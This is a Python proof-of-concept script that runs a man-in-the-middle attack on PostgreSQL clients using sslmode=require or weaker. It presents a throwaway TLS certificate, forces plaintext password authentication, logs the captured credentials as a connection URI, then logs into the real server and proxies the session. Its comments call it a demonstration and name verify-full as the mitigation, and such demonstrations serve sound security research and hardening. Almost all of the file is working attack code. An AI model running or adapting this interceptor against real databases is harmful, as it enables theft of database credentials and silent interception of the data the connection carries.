421 lines
15 KiB
Python
421 lines
15 KiB
Python
from __future__ import print_function
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# This script demonstrates how to setup a Man-in-the-Middle (MitM) attack on a
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# Postgres connection with SSLMODE=require or less. Attack is mitigated by
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# setting SSLMODE=verify or SSLMODE=verify-full, which requires you to get the
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# certificate of either your server or a CA that has signed it's certificate.
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# What the script does:
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# listen on socket for ssl startup messages
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# reply with 'S' (supported?)
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# Do TLS handshake with random cert/key
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# Tell client to authenticate over plaintext to capture the password
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# Initiate database connection to actual backend using the supplied password
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# Proxy all traffic between the client and the actual database
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# The backend database to proxy must be given as an argument on the command
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# line for now, but in an actual attack you would read this from the redirect
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# fields on the IP packets or similar, depending on how you're performing the
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# attack.
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# PS: Please don't look to this script for examples of how to write good socket
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# code, this is just a quick proof of concept.
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import argparse
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import hashlib
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import socket
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import ssl
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import select
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import struct
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import threading
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import time
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import logging
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from collections import namedtuple
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# Sent by client when requesting TLS connection (this is the magic version
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# 1234.5679 of the protocol, defined in pgcomm.h)
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SSL_STARTUP_RESPONSE = 'S'
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VERSION_SSL = '\x04\xd2\x16\x2f'
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VERSION_3 = '\x00\x03\x00\x00'
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_logger = logging.getLogger(__name__)
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# Lifted from pqcomm.h
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AUTH_METHODS = {
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'AUTH_REQ_OK': 0, # User is authenticated
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'AUTH_REQ_KRB4': 1, # Kerberos V4. Not supported any more.
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'AUTH_REQ_KRB5': 2, # Kerberos V5. Not supported any more.
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'AUTH_REQ_PASSWORD': 3, # Password
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'AUTH_REQ_CRYPT': 4, # crypt password. Not supported any more.
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'AUTH_REQ_MD5': 5, # md5 password
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'AUTH_REQ_SCM_CREDS': 6, # transfer SCM credentials
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'AUTH_REQ_GSS': 7, # GSSAPI without wrap()
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'AUTH_REQ_GSS_CONT': 8, # Continue GSS exchanges
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'AUTH_REQ_SSPI': 9, # SSPI negotiate without wrap()
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}
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AUTH_METHODS_REVERSE = {val: key for key, val in AUTH_METHODS.items()}
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def main():
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args = get_args()
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configure_logger(args.logging_level)
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target_backend = args.backend
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sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
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sock.bind(('0.0.0.0', 5432))
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# max queued connections
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backlog = 5
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sock.listen(backlog)
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_logger.info('Listening for connections')
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# Maintain a reference to running threads to enable stopping them when the
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# script terminates
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threads = set()
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last_check_for_stopped_threads = time.time()
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try:
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while True:
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client_socket, address = sock.accept()
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client_handler = ClientConnection(client_socket, target_backend)
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client_handler.start()
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threads.add(client_handler)
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if time.time() - last_check_for_stopped_threads > 3:
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remove_stopped_threads(threads)
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except (KeyboardInterrupt, SystemExit):
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_logger.info('Received exit, shutting down sockets')
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sock.shutdown(socket.SHUT_RDWR)
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sock.close()
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stop_threads(threads)
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def get_args():
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parser = argparse.ArgumentParser('postgres-mitm')
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parser.add_argument('backend')
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parser.add_argument('-l', '--logging-level',
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choices=('debug', 'info', 'warning'), default='info')
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return parser.parse_args()
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def configure_logger(level):
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logging.basicConfig(format='%(asctime)-15s [%(levelname)s] %(message)s')
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_logger.setLevel(getattr(logging, level.upper()))
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def remove_stopped_threads(threads):
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threads_to_remove = []
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for thread in threads:
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if thread.stopped:
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threads_to_remove.append(thread)
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for thread in threads_to_remove:
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threads.remove(thread)
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def stop_threads(threads):
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for thread in threads:
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thread.stop()
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class ClientConnection(threading.Thread):
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def __init__(self, client_socket, target_backend):
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super(ClientConnection, self).__init__()
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for proto in ('PROTOCOL_TLSv1_2', 'PROTOCOL_TLSv1', 'PROTOCOL_SSLv23'):
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protocol = getattr(ssl, proto, None)
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if protocol:
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break
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self.ssl_context = ssl.SSLContext(protocol)
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self.ssl_context.load_cert_chain(certfile='server.cert', keyfile='server.key')
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self.socket = client_socket
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self.target_backend = target_backend
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self.server_socket = None
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self._stop = threading.Event()
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def stop(self):
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self._stop.set()
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@property
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def stopped(self):
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return self._stop.isSet()
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def run(self):
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try:
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self.initiate_client_and_server_connections()
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_logger.debug('Initiated')
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while not self.stopped:
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timeout = 0
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sockets = [self.server_socket, self.socket]
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sockets_with_data = select.select(sockets, [], [], timeout)[0]
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if self.socket in sockets_with_data:
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data = self.socket.read()
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_logger.debug('Client -> Server: %s' % repr(data))
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if data:
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self.server_socket.send(data)
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else:
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self.socket.close()
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self.server_socket.shutdown(socket.SHUT_RDWR)
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self.server_socket.close()
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break
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if self.server_socket in sockets_with_data:
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data = self.server_socket.read()
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_logger.debug('Server -> Client: %s' % repr(data))
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if data:
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self.socket.send(data)
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else:
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self.socket.shutdown(socket.SHUT_RDWR)
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self.socket.close()
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self.server_socket.shutdown(socket.SHUT_RDWR)
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self.server_socket.close()
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finally:
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self.terminate()
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def initiate_client_and_server_connections(self):
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# wait for startup packet
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first_client_packet = self.wait_for_client_ssl_or_startup_packet()
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requested_protocol_version = first_client_packet[4:8]
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if requested_protocol_version == VERSION_SSL:
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_logger.debug('Got SSL startup request')
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self.send_to_client(SSL_STARTUP_RESPONSE)
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self.listen_for_tls_handshake()
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startup_packet = self.wait_for_client_ssl_or_startup_packet()
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self.handle_startup_packet(startup_packet)
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elif requested_protocol_version == VERSION_3:
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# Didn't request SSL, totally fine for us, just request plaintext
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# auth and grab the credentials
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_logger.debug('Initiating plaintext connection')
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self.handle_startup_packet(first_client_packet)
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else:
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# Invalid first packet, abort the connection
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self.terminate()
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return
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auth_request = self.wait_for_auth_request()
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if not self.handle_authentication_request(auth_request):
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raise Exception('Backend auth failed')
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def wait_for_client_ssl_or_startup_packet(self):
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# Either SSL request or startup is the first packet sent, both has the
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# format <int32 length><int32 protocol>[<other>]
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# Read first 8 bytes to get tag and length of packet
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first_8_bytes = self.read_n_bytes_from_client(8)
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# Startup messages and SSL requests start with length of message in
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# the first four bytes
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msg_length = struct.unpack('!I', first_8_bytes[:4])[0]
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rest_of_message = self.read_n_bytes_from_client(msg_length - 8)
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return first_8_bytes + rest_of_message
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def wait_for_auth_request(self):
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# Format of message is <char tag><int32 len><message>
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first_5_bytes = self.read_n_bytes_from_client(5)
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tag = first_5_bytes[0]
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if tag != 'p':
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raise Exception("Received non-auth request: %s" % tag)
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# Bump length with 1 to offset for tag
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msg_length = struct.unpack('!I', first_5_bytes[1:])[0] + 1
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_logger.debug('Reading auth request, waiting for %d bytes' % msg_length)
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rest_of_message = self.read_n_bytes_from_client(msg_length - 5)
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return first_5_bytes + rest_of_message
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def read_n_bytes_from_client(self, n):
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return read_n_bytes_from_socket(self.socket, n)
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def read_n_bytes_from_server(self, n):
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return read_n_bytes_from_socket(self.server_socket, n)
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def send_to_client(self, msg):
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bytes_sent = 0
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while bytes_sent < len(msg):
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sent = self.socket.send(msg[bytes_sent:])
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if sent == 0:
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raise Exception('Client socket closed')
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bytes_sent += sent
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def handle_startup_packet(self, data):
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self.startup_packet = data
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self.options = parse_options_from_startup_packet(data)
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_logger.debug('Startup packet processed successfully: %s' % self.options)
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auth_reply = 'R%(length)s%(method)s' % {
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'length': struct.pack('!I', 8),
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'method': struct.pack('!I', AUTH_METHODS['AUTH_REQ_PASSWORD']),
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}
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_logger.debug('Replying to startup: %s' % repr(auth_reply))
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self.socket.send(auth_reply)
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return True
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def handle_authentication_request(self, data):
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_logger.debug('Got auth response packet: %s' % repr(data))
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password = parse_password_from_authentication_packet(data)
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if self.connect_to_actual_backend(password):
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captured_uri = 'postgres://%(user)s:%(password)s@%(host)s:5432/%(database)s' % {
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'user': self.options.get('user', ''),
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'password': password,
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'host': self.target_backend,
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'database': self.options.get('database', ''),
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}
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_logger.info('Intercepted auth: %s' % captured_uri)
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# Switch socket to non-blocking to enable messages to pass in
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# arbitrary order
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self.socket.setblocking(0)
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else:
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return False
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return True
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def connect_to_actual_backend(self, password):
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self.server_socket = socket.create_connection((self.target_backend, 5432))
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packet = '%(length)s%(version)s' % {
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'length': struct.pack('!I', 8),
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'version': VERSION_SSL,
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}
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self.server_socket.sendall(packet)
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data = read_n_bytes_from_socket(self.server_socket, 1)
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assert data == 'S'
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self.server_socket = self.ssl_context.wrap_socket(self.server_socket)
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self.server_socket.do_handshake()
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self.server_socket.sendall(self.startup_packet)
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raw_auth_request = self.receive_auth_request_from_backend()
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_logger.debug('Got auth request: %s' % repr(raw_auth_request))
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auth_request = parse_auth_request_packet(raw_auth_request)
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if auth_request.method == 'AUTH_REQ_MD5':
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# options is 4-byte salt
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salt = auth_request.options
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response = create_md5_auth_packet(self.options.get('user', ''), password, salt)
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self.server_socket.sendall(response)
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else:
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_logger.debug('Unsupported backend auth method: %s' % auth_request.method)
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return False
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# Make socket non-blocking
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self.server_socket.setblocking(0)
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return True
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def receive_auth_request_from_backend(self):
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first_9_bytes = self.read_n_bytes_from_server(9)
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assert first_9_bytes[0] == 'R'
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packet_length = struct.unpack('!I', first_9_bytes[1:5])[0]
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# Tag doesn't count on length, read the rest
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the_rest = self.read_n_bytes_from_server(packet_length - 8)
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return first_9_bytes + the_rest
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def listen_for_tls_handshake(self):
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self.socket = self.ssl_context.wrap_socket(self.socket,
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server_side=True, ciphers=get_cipher_list())
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def terminate(self):
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_logger.debug('Terminating thread')
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for sock in (self.socket, self.server_socket):
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if not sock:
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continue
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try:
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if not socket_is_closed(self.socket):
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self.socket.shutdown(socket.SHUT_RDWR)
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self.socket.close()
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except:
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_logger.exception('Got exception when trying to close socket')
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self.stop()
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def get_cipher_list():
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# This is the Mozilla modern cipher suite as of 2016-05-30
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# https://wiki.mozilla.org/Security/Server_Side_TLS#Modern_compatibility
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return ':'.join((
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'ECDHE-ECDSA-AES256-GCM-SHA384',
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'ECDHE-RSA-AES256-GCM-SHA384',
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'ECDHE-ECDSA-CHACHA20-POLY1305',
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'ECDHE-RSA-CHACHA20-POLY1305',
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'ECDHE-ECDSA-AES128-GCM-SHA256',
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'ECDHE-RSA-AES128-GCM-SHA256',
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'ECDHE-ECDSA-AES256-SHA384',
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'ECDHE-RSA-AES256-SHA384',
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'ECDHE-ECDSA-AES128-SHA256',
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'ECDHE-RSA-AES128-SHA256',
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))
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def socket_is_closed(sock):
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return isinstance(sock._sock, socket._closedsocket)
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def read_n_bytes_from_socket(sock, n):
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buf = bytearray(n)
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view = memoryview(buf)
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while n:
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nbytes = sock.recv_into(view, n)
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view = view[nbytes:] # slicing views is cheap
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n -= nbytes
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return str(buf)
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def create_md5_auth_packet(username, password, salt):
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pw_and_username = password + username
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pw_hash = hashlib.md5(pw_and_username).hexdigest()
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salted_hash = 'md5' + hashlib.md5(pw_hash + salt).hexdigest()
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response = 'p%(length)s%(salted_hash)s\0' % {
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# 32 bytes of digest, four bytes length, 3 bytes for 'md5', one byte terminating null
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'length': struct.pack('!I', 40),
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'salted_hash': salted_hash,
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}
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return response
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def parse_options_from_startup_packet(data):
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# format is <in32 length><in32 protocol>[<key>\0<value>\0]+\0
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raw_key_value_pairs = data[8:]
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assert raw_key_value_pairs[-1] == '\0'
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raw_key_value_pairs = raw_key_value_pairs[0:-1]
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assert raw_key_value_pairs.count('\0') % 2 == 0
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options = {}
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key_value_pairs = data[8:].split('\0')
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for i in range(0, len(key_value_pairs), 2):
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key = key_value_pairs[i]
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value = key_value_pairs[i + 1]
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options[key] = value
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return options
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def parse_password_from_authentication_packet(data):
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assert data[-1] == '\0'
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return data[5:-1]
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def parse_auth_request_packet(data):
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# format is R<int32 length><int32 method>[<options>]
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method = struct.unpack('!I', data[5:9])[0]
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assert method in AUTH_METHODS_REVERSE
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textual_method = AUTH_METHODS_REVERSE[method]
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AuthRequest = namedtuple('AuthRequest', 'method options')
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return AuthRequest(textual_method, data[9:])
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if __name__ == '__main__':
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main()
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